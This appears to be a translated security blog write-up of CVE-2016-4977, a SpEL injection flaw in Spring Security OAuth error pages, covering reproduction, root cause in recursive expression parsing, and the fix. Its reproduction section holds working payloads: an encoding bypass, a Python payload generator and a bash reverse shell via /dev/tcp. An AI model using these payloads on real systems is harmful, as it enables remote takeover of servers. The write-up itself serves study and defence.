0x01 Background
Spring Security OAuth is a module that provides security authentication support for the Spring framework. On July 5, its maintainers published this upgrade announcement, which mainly explains that when users use
Whitelabel viewsto handle errors, an attacker — once authorized — can remotely execute commands by crafting malicious parameters. The vulnerability’s discoverer publicly released the discovery write-up on October 13.
SpEL expression injection!
(1) Affected versions
org.springframework.security.oauth - spring-security-oauth2:
- 2.0.0 to 2.0.9
- 1.0.0 to 1.0.5
I took a look at the maven repository and found that 2.0.X was released in February 2016, which means the vulnerability was discovered roughly half a year after release. From this we can also draw a conclusion: hackers are not watching official releases around the clock — in other words, real-world 0day vulnerabilities can always be found by you.

And the entire 1.X line is vulnerable.

0x02 Vulnerability Reproduction
(1) A small snag
Since this is SpEL injection, let’s try executing a command directly. Below is the result of attempting to run the id command:
${T(String).forName("java.lang.Runtime").getRuntime().exec('id')}

Strange — there is no response echo, and it doesn’t look like the execution succeeded. As for the specific reason, we will follow up during the later analysis; let’s set that aside for now.
(2) Bypass
Since for some reason we cannot execute commands directly, consider using ASCII codes to bypass, similar to String.fromCharCode(65) => "A" in JS:
T(java.lang.Character).toString(65) => 'A'

Next, a command is more than one letter — the letters need to be concatenated one by one, using the .concat() function:
T(Character).toString(65).concat(T(Character).toString(66)) => 'AB'

(3) Exploit
Due to how the exec function in Java parses spaces, the reverse shell command needs to be transformed.
Further reading
There are currently two simple and practical approaches. Method one: use ${IFS} to replace the three spaces.
bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/443 0>&1
Method two: encode the command you want to execute here.
After the encoding above, use the following PoC.py to encode and send it:
#!/usr/bin/env python
# plz base64_encode the payload via {http://www.jackson-t.ca/runtime-exec-payloads.html}
payload
payload = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(payload[0])
for ch in payload[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)

Send the payload, and the reverse shell succeeds.

(4) PoC
Sometimes we don’t need a reverse shell; we only need to prove that command execution is possible. Here is a PoC suitable for verification — it sleeps for 10 seconds.
${T(java.lang.Thread).sleep(10000)}

0x03 Vulnerability Analysis
Alright, we’ve finally reached everyone’s favorite part: reading the code.
Following the “environment setup” steps in seebug’s article, download the source code from http://secalert.net/research/cve-2016-4977.zip, import it into IDEA, and start debugging!
First, the basic flow:

One key-value pair inside the error variable is controllable, and then the constructor of SpElView is the key point.

Recursively parsing ${} expressions, as shown below: the code recursively parses multiple nested layers of expressions.

The recursive while in the code…

Originally, the user’s input is not a fully controllable expression; it looks like ${padding + USER_INPUT + padding}.
But the problem is: on the one hand, the parsing rules recursively search for ${; on the other hand, the user’s input can also contain ${ — this allows an attacker to construct a complete SpEL expression and achieve RCE.
0x04 Fix


The prefix is a randomly generated 6-digit random number.


In other words: every time a SpEL expression is parsed, a random “delimiter” — random{ — is generated to replace the original ${. Even with recursive parsing still in place, the attacker can no longer forge a delimiter for the parser to process.
However, since the random number is regenerated on every request, I personally don’t think it can be brute-forced. I disagree with the brute-force view in seebug’s article.
0x05 Summary
At its core, this vulnerability is still a case of the boundary between data and code being broken. The user-controllable variable, originally treated as data — $errorSummary — gets parsed recursively; the parser should have guaranteed that the variable contains no ${, otherwise an attacker can fully control the SpEL expression and thereby achieve command execution.

Refs
- https://secalert.net/#CVE-2016-4977
- https://paper.seebug.org/70/
- https://tanzu.vmware.com/de/security/cve-2016-4977
- Special thanks to vulhub for building the vulnerability reproduction environment https://vulhub.org/#/environments/spring/CVE-2016-4977/